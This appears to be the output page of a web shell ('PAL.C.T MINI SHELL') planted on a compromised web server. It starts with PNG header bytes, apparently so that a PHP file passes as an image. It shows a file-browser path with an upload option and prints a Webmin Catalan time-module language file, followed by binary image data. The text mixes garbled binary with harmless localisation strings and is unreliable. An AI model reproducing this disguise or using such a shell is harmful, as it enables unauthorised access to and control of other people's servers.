php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/time/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/time/lang/ca

index_title=Hora del Sistema
index_timeserver=Servidor Horari
index_addresses=Nom de host o adreça del servidor horari
index_zone=Zona horària
index_eformat=Format de sortida de <tt>hwclock</tt> no reconegut
index_sched=Sincronitza de forma planificada
index_schedyes=Sí, a les hores de sota...
index_sync=Sincronitza i Aplica
index_hardware2=Estableix també el rellotge del maquinari
index_boot=Sincronitza quan s'iniciï Webmin
index_tzheader=Zona Horària
index_tz=Canvia la zona horària a
index_ehwclock=$1 ha fallat: $2
index_tabtime=Establiment de l'hora
index_tabzone=Canvi de la zona horària
index_tabsync=Sincronització de servidor horari
index_desctime=Aquest formulari és per a canviar l'hora actual del sistema, que és utilitzat per tots els processos en execució. Amb sistemes operatius que utilitzen un rellotge de maquinari a part, també es pot utilitzar per establir aquest.
index_desczone=Aquest formulari permet canvia la zona horària per defecte del sistema, que s'utilitza per convertir l'hora del sistema a un format humanament llegible.
index_descsync=Aquest formulari és per configurar el sistema per sincronitzar automàticament l'hora amb un servidor remot. La sincronització es farà utilitzant el protocol <tt>time</tt> de Unix o el protocol NTP, depenent de quines ordres hi hagi instal·lades i del que suportin els servidor remots.

action_save=Desa
action_apply=Aplica
action_sync=Sincronitza l'hora del sistema amb l'hora del maquinari
action_sync_s=Sincronitza l'hora del maquinari amb l'hora del sistema
action_timeserver_sys=Sincronitza l'hora del sistema
action_timeserver_hw=Sincronitza l'hora del maquinari
action_savezone=Canvia la zona horària

acl_sys=L'usuari pot editar l'hora del sistema
acl_hw=L'usuari pot editar l'hora del maquinari
acl_timezone=L'usuari pot establir la zona horària
acl_ntp=Pot sincronitzar amb el servidor horari
acl_yes=Sí
acl_no=No
acl_error=Tens accés al mòdul de l'hora del sistema, però no pots editar no l'hora del sistema no l'hora del maquinari
acl_nosys=No tens permís per editar l'hora del sistema
acl_nohw=No tens permís per editar l'hora del maquinari
acl_nontp=No tens permís per sincronitzar amb un servidor horari

sys_title=Hora del Sistema
hw_title=Hora del Maquinari

day=Dia
month=Mes
date=Data
hour=Hora
year=Any
minute=Minut
second=Segon

error_cnf=Error: no s'ha trobat l'ordre $1
error_hw=No es pot establir l'hora del maquinari: $1
error_sync=No es pot sincronitzar amb l'hora del sistema: $1
error_ediff=La diferència del servidor horari amb l'hora local és massa gran: $1 dies
error_entp=La sincronització horària NTP ha fallat: $1
error_etimeserver=No hi ha cap servidor horari a sincronitzar amb el que has introduït

log_set_date=Estableix l'hora del sistema a $1
log_set_hwclock=Estableix l'hora del maquinari a $1
log_remote_date=S'ha obtingut l'hora del sistema de $2
log_remote_hwclock=S'ha obtingut l'hora del maquinari de $2
log_remote_date_l=S'ha obtingut l'hora del sistema $1 de $2
log_remote_hwclock_l=S'ha obtingut l'hora del maquinari $1 de $2
log_sync=S'ha sincronitzat l'hora del sistema amb l'hora del maquinari
log_sync_s=S'ha sincronitzat l'hora del maquinari amb l'hora del sistema
log_timezone=S'ha canviat la zona horària a $1

timezone_err=No s'ha pogut desar la zona horària
timezone_ecannot=No tens permís per canviar la zona horària
timezone_enone=No has seleccionat cap zona
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`